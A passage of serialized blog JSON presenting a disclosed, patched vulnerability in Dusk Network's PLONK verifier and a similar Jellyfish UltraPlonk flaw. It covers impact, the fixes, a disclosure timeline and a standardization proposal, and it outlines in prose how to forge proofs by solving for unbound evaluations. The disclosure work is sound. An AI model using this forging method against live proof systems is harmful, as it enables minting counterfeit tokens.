",{"type":23,"tag":64,"props":143616,"children":143618},{"className":143617},[],[143619],{"type":28,"value":143417},{"type":28,"value":588},{"type":23,"tag":64,"props":143622,"children":143624},{"className":143623},[],[143625],{"type":28,"value":143424},{"type":28,"value":3965},{"type":23,"tag":64,"props":143628,"children":143630},{"className":143629},[],[143631],{"type":28,"value":143431},{"type":28,"value":143633},", but no ",{"type":23,"tag":64,"props":143635,"children":143637},{"className":143636},[],[143638],{"type":28,"value":143639},"c_w_eval",{"type":28,"value":143641},", so the verifier never consumes an unbound ",{"type":23,"tag":64,"props":143643,"children":143645},{"className":143644},[1527,1528],[143646],{"type":23,"tag":481,"props":143647,"children":143649},{"className":143648},[1533],[143650],{"type":23,"tag":481,"props":143651,"children":143653},{"className":143652,"ariaHidden":1539},[1538],[143654],{"type":23,"tag":481,"props":143655,"children":143657},{"className":143656},[1544],[143658,143662,143667,143672,143677,143682],{"type":23,"tag":481,"props":143659,"children":143661},{"className":143660,"style":1657},[1549],[],{"type":23,"tag":481,"props":143663,"children":143665},{"className":143664},[1555,19086],[143666],{"type":28,"value":661},{"type":23,"tag":481,"props":143668,"children":143670},{"className":143669},[19215],[143671],{"type":28,"value":618},{"type":23,"tag":481,"props":143673,"children":143675},{"className":143674,"style":111136},[1555,19086],[143676],{"type":28,"value":111139},{"type":23,"tag":481,"props":143678,"children":143680},{"className":143679,"style":91065},[1555,19086],[143681],{"type":28,"value":142269},{"type":23,"tag":481,"props":143683,"children":143685},{"className":143684},[19237],[143686],{"type":28,"value":642},{"type":28,"value":143688}," claim (",{"type":23,"tag":190,"props":143690,"children":143692},{"href":143510,"rel":143691},[194],[143693],{"type":28,"value":143514},{"type":28,"value":18240},{"type":23,"tag":77,"props":143696,"children":143697},{},[143698,143700,143787,143789,143881,143882,143889],{"type":28,"value":143699},"There is a fourth permutation commitment ",{"type":23,"tag":64,"props":143701,"children":143703},{"className":143702},[1527,1528],[143704],{"type":23,"tag":481,"props":143705,"children":143707},{"className":143706},[1533],[143708],{"type":23,"tag":481,"props":143709,"children":143711},{"className":143710,"ariaHidden":1539},[1538],[143712],{"type":23,"tag":481,"props":143713,"children":143715},{"className":143714},[1544],[143716,143720,143725,143782],{"type":23,"tag":481,"props":143717,"children":143719},{"className":143718,"style":1657},[1549],[],{"type":23,"tag":481,"props":143721,"children":143723},{"className":143722},[19215],[143724],{"type":28,"value":1269},{"type":23,"tag":481,"props":143726,"children":143728},{"className":143727},[1555],[143729,143734],{"type":23,"tag":481,"props":143730,"children":143732},{"className":143731,"style":91065},[1555,19086],[143733],{"type":28,"value":142164},{"type":23,"tag":481,"props":143735,"children":143737},{"className":143736},[1572],[143738],{"type":23,"tag":481,"props":143739,"children":143741},{"className":143740},[1577,19140],[143742,143771],{"type":23,"tag":481,"props":143743,"children":143745},{"className":143744},[1582],[143746,143766],{"type":23,"tag":481,"props":143747,"children":143749},{"className":143748,"style":90631},[1587],[143750],{"type":23,"tag":481,"props":143751,"children":143752},{"style":91112},[143753,143757],{"type":23,"tag":481,"props":143754,"children":143756},{"className":143755,"style":1597},[1596],[],{"type":23,"tag":481,"props":143758,"children":143760},{"className":143759},[1602,1603,1604,1605],[143761],{"type":23,"tag":481,"props":143762,"children":143764},{"className":143763},[1555,1605],[143765],{"type":28,"value":15021},{"type":23,"tag":481,"props":143767,"children":143769},{"className":143768},[19243],[143770],{"type":28,"value":19246},{"type":23,"tag":481,"props":143772,"children":143774},{"className":143773},[1582],[143775],{"type":23,"tag":481,"props":143776,"children":143778},{"className":143777,"style":90662},[1587],[143779],{"type":23,"tag":481,"props":143780,"children":143781},{},[],{"type":23,"tag":481,"props":143783,"children":143785},{"className":143784},[19237],[143786],{"type":28,"value":12900},{"type":28,"value":143788}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":64,"props":143790,"children":143792},{"className":143791},[1527,1528],[143793],{"type":23,"tag":481,"props":143794,"children":143796},{"className":143795},[1533],[143797],{"type":23,"tag":481,"props":143798,"children":143800},{"className":143799,"ariaHidden":1539},[1538],[143801],{"type":23,"tag":481,"props":143802,"children":143804},{"className":143803},[1544],[143805,143809,143866,143871,143876],{"type":23,"tag":481,"props":143806,"children":143808},{"className":143807,"style":1657},[1549],[],{"type":23,"tag":481,"props":143810,"children":143812},{"className":143811},[1555],[143813,143818],{"type":23,"tag":481,"props":143814,"children":143816},{"className":143815,"style":91065},[1555,19086],[143817],{"type":28,"value":142164},{"type":23,"tag":481,"props":143819,"children":143821},{"className":143820},[1572],[143822],{"type":23,"tag":481,"props":143823,"children":143825},{"className":143824},[1577,19140],[143826,143855],{"type":23,"tag":481,"props":143827,"children":143829},{"className":143828},[1582],[143830,143850],{"type":23,"tag":481,"props":143831,"children":143833},{"className":143832,"style":90631},[1587],[143834],{"type":23,"tag":481,"props":143835,"children":143836},{"style":91112},[143837,143841],{"type":23,"tag":481,"props":143838,"children":143840},{"className":143839,"style":1597},[1596],[],{"type":23,"tag":481,"props":143842,"children":143844},{"className":143843},[1602,1603,1604,1605],[143845],{"type":23,"tag":481,"props":143846,"children":143848},{"className":143847},[1555,1605],[143849],{"type":28,"value":15021},{"type":23,"tag":481,"props":143851,"children":143853},{"className":143852},[19243],[143854],{"type":28,"value":19246},{"type":23,"tag":481,"props":143856,"children":143858},{"className":143857},[1582],[143859],{"type":23,"tag":481,"props":143860,"children":143862},{"className":143861,"style":90662},[1587],[143863],{"type":23,"tag":481,"props":143864,"children":143865},{},[],{"type":23,"tag":481,"props":143867,"children":143869},{"className":143868},[19215],[143870],{"type":28,"value":618},{"type":23,"tag":481,"props":143872,"children":143874},{"className":143873,"style":111136},[1555,19086],[143875],{"type":28,"value":111139},{"type":23,"tag":481,"props":143877,"children":143879},{"className":143878},[19237],[143880],{"type":28,"value":642},{"type":28,"value":578},{"type":23,"tag":190,"props":143883,"children":143886},{"href":143884,"rel":143885},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[194],[143887],{"type":28,"value":143888},"permutation verifier key",{"type":28,"value":18240},{"type":23,"tag":24,"props":143891,"children":143892},{},[143893,143895,143905],{"type":28,"value":143894},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":23,"tag":190,"props":143896,"children":143899},{"href":143897,"rel":143898},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[194],[143900],{"type":23,"tag":64,"props":143901,"children":143903},{"className":143902},[],[143904],{"type":28,"value":143346},{"type":28,"value":143906},", which leaves the master equation underconstrained.",{"type":23,"tag":24,"props":143908,"children":143909},{},[143910],{"type":23,"tag":149,"props":143911,"children":143914},{"alt":143912,"src":143913},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":16288,"props":143916,"children":143917},{},[],{"type":23,"tag":31,"props":143919,"children":143921},{"id":143920},"the-exploitation",[143922],{"type":28,"value":143923},"The exploitation",{"type":23,"tag":24,"props":143925,"children":143926},{},[143927],{"type":28,"value":143928},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":24,"props":143930,"children":143931},{},[143932,143934,143940,143942,143947,143949,143954,143956,143962],{"type":28,"value":143933},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":64,"props":143935,"children":143937},{"className":143936},[],[143938],{"type":28,"value":143939},"z_challenge",{"type":28,"value":143941},", it computes what the linearization polynomial ",{"type":23,"tag":127,"props":143943,"children":143944},{},[143945],{"type":28,"value":143946},"should",{"type":28,"value":143948}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":64,"props":143950,"children":143952},{"className":143951},[],[143953],{"type":28,"value":143467},{"type":28,"value":143955},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":64,"props":143957,"children":143959},{"className":143958},[],[143960],{"type":28,"value":143961},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":28,"value":18240},{"type":23,"tag":24,"props":143964,"children":143965},{},[143966],{"type":23,"tag":149,"props":143967,"children":143970},{"alt":143968,"src":143969},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":24,"props":143972,"children":143973},{},[143974,143976,144016,144018,144043,144045,144050],{"type":28,"value":143975},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":64,"props":143977,"children":143979},{"className":143978},[1527,1528],[143980],{"type":23,"tag":481,"props":143981,"children":143983},{"className":143982},[1533],[143984],{"type":23,"tag":481,"props":143985,"children":143987},{"className":143986,"ariaHidden":1539},[1538],[143988],{"type":23,"tag":481,"props":143989,"children":143991},{"className":143990},[1544],[143992,143996,144001,144006,144011],{"type":23,"tag":481,"props":143993,"children":143995},{"className":143994,"style":1657},[1549],[],{"type":23,"tag":481,"props":143997,"children":143999},{"className":143998,"style":90579},[1555,19086],[144000],{"type":28,"value":91398},{"type":23,"tag":481,"props":144002,"children":144004},{"className":144003},[19215],[144005],{"type":28,"value":618},{"type":23,"tag":481,"props":144007,"children":144009},{"className":144008},[1555,19086],[144010],{"type":28,"value":16772},{"type":23,"tag":481,"props":144012,"children":144014},{"className":144013},[19237],[144015],{"type":28,"value":642},{"type":28,"value":144017}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":64,"props":144019,"children":144021},{"className":144020},[1527,1528],[144022],{"type":23,"tag":481,"props":144023,"children":144025},{"className":144024},[1533],[144026],{"type":23,"tag":481,"props":144027,"children":144029},{"className":144028,"ariaHidden":1539},[1538],[144030],{"type":23,"tag":481,"props":144031,"children":144033},{"className":144032},[1544],[144034,144038],{"type":23,"tag":481,"props":144035,"children":144037},{"className":144036,"style":108420},[1549],[],{"type":23,"tag":481,"props":144039,"children":144041},{"className":144040,"style":111136},[1555,19086],[144042],{"type":28,"value":111139},{"type":28,"value":144044},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":64,"props":144046,"children":144048},{"className":144047},[],[144049],{"type":28,"value":143467},{"type":28,"value":144051}," gives the required value in a single field division.",{"type":23,"tag":16288,"props":144053,"children":144054},{},[],{"type":23,"tag":31,"props":144056,"children":144058},{"id":144057},"impact-on-dusk-network",[144059],{"type":28,"value":144060},"Impact on Dusk Network",{"type":23,"tag":24,"props":144062,"children":144063},{},[144064,144066,144073],{"type":28,"value":144065},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":23,"tag":190,"props":144067,"children":144070},{"href":144068,"rel":144069},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[194],[144071],{"type":28,"value":144072},"preverify path",{"type":28,"value":144074},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":73,"props":144076,"children":144077},{},[144078,144083,144088],{"type":23,"tag":77,"props":144079,"children":144080},{},[144081],{"type":28,"value":144082},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":77,"props":144084,"children":144085},{},[144086],{"type":28,"value":144087},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":77,"props":144089,"children":144090},{},[144091],{"type":28,"value":144092},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":24,"props":144094,"children":144095},{},[144096],{"type":28,"value":144097},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":73,"props":144099,"children":144100},{},[144101,144106,144116,144128,144133],{"type":23,"tag":77,"props":144102,"children":144103},{},[144104],{"type":28,"value":144105},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":77,"props":144107,"children":144108},{},[144109,144111],{"type":28,"value":144110},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":2875,"props":144112,"children":144113},{},[144114],{"type":28,"value":144115},"2000 DUSK from nothing",{"type":23,"tag":77,"props":144117,"children":144118},{},[144119,144121,144126],{"type":28,"value":144120},"The malicious wallet transfers ",{"type":23,"tag":2875,"props":144122,"children":144123},{},[144124],{"type":28,"value":144125},"1337 DUSK",{"type":28,"value":144127}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":77,"props":144129,"children":144130},{},[144131],{"type":28,"value":144132},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":77,"props":144134,"children":144135},{},[144136],{"type":28,"value":144137},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":24,"props":144139,"children":144140},{},[144141],{"type":23,"tag":149,"props":144142,"children":144145},{"alt":144143,"src":144144},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":24,"props":144147,"children":144148},{},[144149,144151,144157,144159,144166],{"type":28,"value":144150},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":190,"props":144152,"children":144154},{"href":139452,"rel":144153},[194],[144155],{"type":28,"value":144156},"~60M",{"type":28,"value":144158},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":190,"props":144160,"children":144163},{"href":144161,"rel":144162},"https://neptune.cash/articles/critical-vulnerability-disclosure",[194],[144164],{"type":28,"value":144165},"Triton VM vulnerability",{"type":28,"value":199},{"type":23,"tag":16288,"props":144168,"children":144169},{},[],{"type":23,"tag":31,"props":144171,"children":144173},{"id":144172},"the-fix",[144174],{"type":28,"value":144175},"The fix",{"type":23,"tag":24,"props":144177,"children":144178},{},[144179],{"type":28,"value":144180},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":14178,"props":144182,"children":144183},{},[144184,144229],{"type":23,"tag":77,"props":144185,"children":144186},{},[144187,144189,144200,144202,144208,144209,144215,144216,144222,144223],{"type":28,"value":144188},"Extend ",{"type":23,"tag":190,"props":144190,"children":144193},{"href":144191,"rel":144192},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[194],[144194],{"type":23,"tag":64,"props":144195,"children":144197},{"className":144196},[],[144198],{"type":28,"value":144199},"compute_aggregate_witness",{"type":28,"value":144201}," on the prover side to also include ",{"type":23,"tag":64,"props":144203,"children":144205},{"className":144204},[],[144206],{"type":28,"value":144207},"q_arith",{"type":28,"value":588},{"type":23,"tag":64,"props":144210,"children":144212},{"className":144211},[],[144213],{"type":28,"value":144214},"q_c",{"type":28,"value":588},{"type":23,"tag":64,"props":144217,"children":144219},{"className":144218},[],[144220],{"type":28,"value":144221},"q_l",{"type":28,"value":3965},{"type":23,"tag":64,"props":144224,"children":144226},{"className":144225},[],[144227],{"type":28,"value":144228},"q_r",{"type":23,"tag":77,"props":144230,"children":144231},{},[144232,144234,144244],{"type":28,"value":144233},"Add their evaluations to ",{"type":23,"tag":190,"props":144235,"children":144238},{"href":144236,"rel":144237},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[194],[144239],{"type":23,"tag":64,"props":144240,"children":144242},{"className":144241},[],[144243],{"type":28,"value":143346},{"type":28,"value":144245}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":24,"props":144247,"children":144248},{},[144249,144251,144258],{"type":28,"value":144250},"This was done in ",{"type":23,"tag":190,"props":144252,"children":144255},{"href":144253,"rel":144254},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[194],[144256],{"type":28,"value":144257},"commit 645265b7",{"type":28,"value":144259},", which landed on February 14, 2026.",{"type":23,"tag":16288,"props":144261,"children":144262},{},[],{"type":23,"tag":31,"props":144264,"children":144266},{"id":144265},"why-was-this-missed",[144267],{"type":28,"value":144268},"Why was this missed?",{"type":23,"tag":24,"props":144270,"children":144271},{},[144272,144274,144281,144282,144289,144291,144298,144300,144307],{"type":28,"value":144273},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":190,"props":144275,"children":144278},{"href":144276,"rel":144277},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[194],[144279],{"type":28,"value":144280},"December 2023 audit of dusk-plonk",{"type":28,"value":121922},{"type":23,"tag":190,"props":144283,"children":144286},{"href":144284,"rel":144285},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[194],[144287],{"type":28,"value":144288},"September 2024 audit of Phoenix",{"type":28,"value":144290},", and a ",{"type":23,"tag":190,"props":144292,"children":144295},{"href":144293,"rel":144294},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[194],[144296],{"type":28,"value":144297},"September 2024 Oak Security audit of the Rusk node library",{"type":28,"value":144299},". Dusk's public ",{"type":23,"tag":190,"props":144301,"children":144304},{"href":144302,"rel":144303},"https://dusk.network/news/audits-overview",[194],[144305],{"type":28,"value":144306},"audits overview",{"type":28,"value":144308}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":24,"props":144310,"children":144311},{},[144312,144314,144319],{"type":28,"value":144313},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":127,"props":144315,"children":144316},{},[144317],{"type":28,"value":144318},"evaluations",{"type":28,"value":199},{"type":23,"tag":24,"props":144321,"children":144322},{},[144323],{"type":28,"value":144324},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":24,"props":144326,"children":144327},{},[144328],{"type":28,"value":144329},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":31,"props":144331,"children":144333},{"id":144332},"a-similar-bug-in-espresso-systems-jellyfish",[144334],{"type":28,"value":144335},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":24,"props":144337,"children":144338},{},[144339,144341,144348],{"type":28,"value":144340},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":190,"props":144342,"children":144345},{"href":144343,"rel":144344},"https://github.com/EspressoSystems/jellyfish/",[194],[144346],{"type":28,"value":144347},"jf-plonk",{"type":28,"value":144349}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":24,"props":144351,"children":144352},{},[144353,144355,144362,144364,144375,144377,144402,144404,144429],{"type":28,"value":144354},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":190,"props":144356,"children":144359},{"href":144357,"rel":144358},"https://eprint.iacr.org/2020/315",[194],[144360],{"type":28,"value":144361},"Plookup",{"type":28,"value":144363}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":190,"props":144365,"children":144368},{"href":144366,"rel":144367},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[194],[144369],{"type":23,"tag":64,"props":144370,"children":144372},{"className":144371},[],[144373],{"type":28,"value":144374},"append_plookup_evaluations",{"type":28,"value":144376}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":23,"tag":64,"props":144378,"children":144380},{"className":144379},[1527,1528],[144381],{"type":23,"tag":481,"props":144382,"children":144384},{"className":144383},[1533],[144385],{"type":23,"tag":481,"props":144386,"children":144388},{"className":144387,"ariaHidden":1539},[1538],[144389],{"type":23,"tag":481,"props":144390,"children":144392},{"className":144391},[1544],[144393,144397],{"type":23,"tag":481,"props":144394,"children":144396},{"className":144395,"style":108420},[1549],[],{"type":23,"tag":481,"props":144398,"children":144400},{"className":144399,"style":91065},[1555,19086],[144401],{"type":28,"value":111483},{"type":28,"value":144403}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":64,"props":144405,"children":144407},{"className":144406},[1527,1528],[144408],{"type":23,"tag":481,"props":144409,"children":144411},{"className":144410},[1533],[144412],{"type":23,"tag":481,"props":144413,"children":144415},{"className":144414,"ariaHidden":1539},[1538],[144416],{"type":23,"tag":481,"props":144417,"children":144419},{"className":144418},[1544],[144420,144424],{"type":23,"tag":481,"props":144421,"children":144423},{"className":144422,"style":108420},[1549],[],{"type":23,"tag":481,"props":144425,"children":144427},{"className":144426,"style":91065},[1555,19086],[144428],{"type":28,"value":111483},{"type":28,"value":144430},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":24,"props":144432,"children":144433},{},[144434,144436,144442,144444,144450],{"type":28,"value":144435},"The attack requires modifying a single evaluation (",{"type":23,"tag":64,"props":144437,"children":144439},{"className":144438},[],[144440],{"type":28,"value":144441},"key_table_next_eval",{"type":28,"value":144443},") by ",{"type":23,"tag":64,"props":144445,"children":144447},{"className":144446},[],[144448],{"type":28,"value":144449},"delta / (u * v^3)",{"type":28,"value":144451}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":24,"props":144453,"children":144454},{},[144455,144457,144464,144466,144477],{"type":28,"value":144456},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":190,"props":144458,"children":144461},{"href":144459,"rel":144460},"https://github.com/EspressoSystems/jellyfish/pull/867",[194],[144462],{"type":28,"value":144463},"PR #867",{"type":28,"value":144465}," fixed the issue and was tagged as ",{"type":23,"tag":190,"props":144467,"children":144470},{"href":144468,"rel":144469},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[194],[144471],{"type":23,"tag":64,"props":144472,"children":144474},{"className":144473},[],[144475],{"type":28,"value":144476},"jf-plonk-v0.8.0",{"type":28,"value":144478}," on March 18, 2026.",{"type":23,"tag":16288,"props":144480,"children":144481},{},[],{"type":23,"tag":31,"props":144483,"children":144485},{"id":144484},"toward-standardization",[144486],{"type":28,"value":144487},"Toward standardization",{"type":23,"tag":24,"props":144489,"children":144490},{},[144491,144493,144500],{"type":28,"value":144492},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":190,"props":144494,"children":144497},{"href":144495,"rel":144496},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[194],[144498],{"type":28,"value":144499},"similar patterns appear across zkVMs",{"type":28,"value":144501},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":24,"props":144503,"children":144504},{},[144505],{"type":28,"value":144506},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":24,"props":144508,"children":144509},{},[144510],{"type":28,"value":144511},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":23,"tag":31,"props":144513,"children":144514},{"id":58351},[144515],{"type":28,"value":144516},"Disclosure timeline",{"type":23,"tag":53271,"props":144518,"children":144519},{},[144520,144536],{"type":23,"tag":120530,"props":144521,"children":144522},{},[144523],{"type":23,"tag":120534,"props":144524,"children":144525},{},[144526,144531],{"type":23,"tag":120538,"props":144527,"children":144528},{},[144529],{"type":28,"value":144530},"Date",{"type":23,"tag":120538,"props":144532,"children":144533},{},[144534],{"type":28,"value":144535},"Event",{"type":23,"tag":120558,"props":144537,"children":144538},{},[144539,144552,144565,144577,144603,144623],{"type":23,"tag":120534,"props":144540,"children":144541},{},[144542,144547],{"type":23,"tag":120565,"props":144543,"children":144544},{},[144545],{"type":28,"value":144546},"2026-02-13",{"type":23,"tag":120565,"props":144548,"children":144549},{},[144550],{"type":28,"value":144551},"Dusk vulnerability reported",{"type":23,"tag":120534,"props":144553,"children":144554},{},[144555,144560],{"type":23,"tag":120565,"props":144556,"children":144557},{},[144558],{"type":28,"value":144559},"2026-02-14",{"type":23,"tag":120565,"props":144561,"children":144562},{},[144563],{"type":28,"value":144564},"Dusk acknowledged",{"type":23,"tag":120534,"props":144566,"children":144567},{},[144568,144572],{"type":23,"tag":120565,"props":144569,"children":144570},{},[144571],{"type":28,"value":144559},{"type":23,"tag":120565,"props":144573,"children":144574},{},[144575],{"type":28,"value":144576},"Dusk fix committed",{"type":23,"tag":120534,"props":144578,"children":144579},{},[144580,144585],{"type":23,"tag":120565,"props":144581,"children":144582},{},[144583],{"type":28,"value":144584},"2026-02-27",{"type":23,"tag":120565,"props":144586,"children":144587},{},[144588,144590,144601],{"type":28,"value":144589},"Public ",{"type":23,"tag":190,"props":144591,"children":144594},{"href":144592,"rel":144593},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[194],[144595],{"type":23,"tag":64,"props":144596,"children":144598},{"className":144597},[],[144599],{"type":28,"value":144600},"dusk-rusk-1.6.0",{"type":28,"value":144602}," release published",{"type":23,"tag":120534,"props":144604,"children":144605},{},[144606,144611],{"type":23,"tag":120565,"props":144607,"children":144608},{},[144609],{"type":28,"value":144610},"2026-03-16",{"type":23,"tag":120565,"props":144612,"children":144613},{},[144614,144616,144622],{"type":28,"value":144615},"Jellyfish fix PR opened (",{"type":23,"tag":190,"props":144617,"children":144619},{"href":144459,"rel":144618},[194],[144620],{"type":28,"value":144621},"#867",{"type":28,"value":642},{"type":23,"tag":120534,"props":144624,"children":144625},{},[144626,144631],{"type":23,"tag":120565,"props":144627,"children":144628},{},[144629],{"type":28,"value":144630},"2026-03-18",{"type":23,"tag":120565,"props":144632,"children":144633},{},[144634,144636,144641,144643],{"type":28,"value":144635},"Jellyfish fix merged in ",{"type":23,"tag":190,"props":144637,"children":144639},{"href":144459,"rel":144638},[194],[144640],{"type":28,"value":144621},{"type":28,"value":144642}," and tagged as ",{"type":23,"tag":190,"props":144644,"children":144646},{"href":144468,"rel":144645},[194],[144647],{"type":23,"tag":64,"props":144648,"children":144650},{"className":144649},[],[144651],{"type":28,"value":144476},{"type":23,"tag":31,"props":144653,"children":144655},{"id":144654},"acknowledgements",[144656],{"type":28,"value":144657},"Acknowledgements",{"type":23,"tag":24,"props":144659,"children":144660},{},[144661],{"type":28,"value":144662},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":351,"depth":351,"links":144664},[144665,144672,144673,144674,144675,144676,144677,144678,144679,144680,144681,144682],{"id":139482,"depth":351,"text":139485,"children":144666},[144667,144668,144669,144670,144671],{"id":139507,"depth":531,"text":139510},{"id":140310,"depth":531,"text":140313},{"id":141508,"depth":531,"text":141511},{"id":141538,"depth":531,"text":141541},{"id":141819,"depth":531,"text":141822},{"id":142552,"depth":351,"text":142555},{"id":142690,"depth":351,"text":142693},{"id":87833,"depth":351,"text":143321},{"id":143920,"depth":351,"text":143923},{"id":144057,"depth":351,"text":144060},{"id":144172,"depth":351,"text":144175},{"id":144265,"depth":351,"text":144268},{"id":144332,"depth":351,"text":144335},{"id":144484,"depth":351,"text":144487},{"id":58351,"depth":351,"text":144516},{"id":144654,"depth":351,"text":144657},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":144687,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":144688,"description":144689,"date":144690,"author":121189,"image":144691,"isFeatured":15,"onBlogPage":15,"tags":144693,"body":144696,"_type":358,"_id":154076,"_source":360,"_file":154077,"_stem":154078,"_extension":363},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write 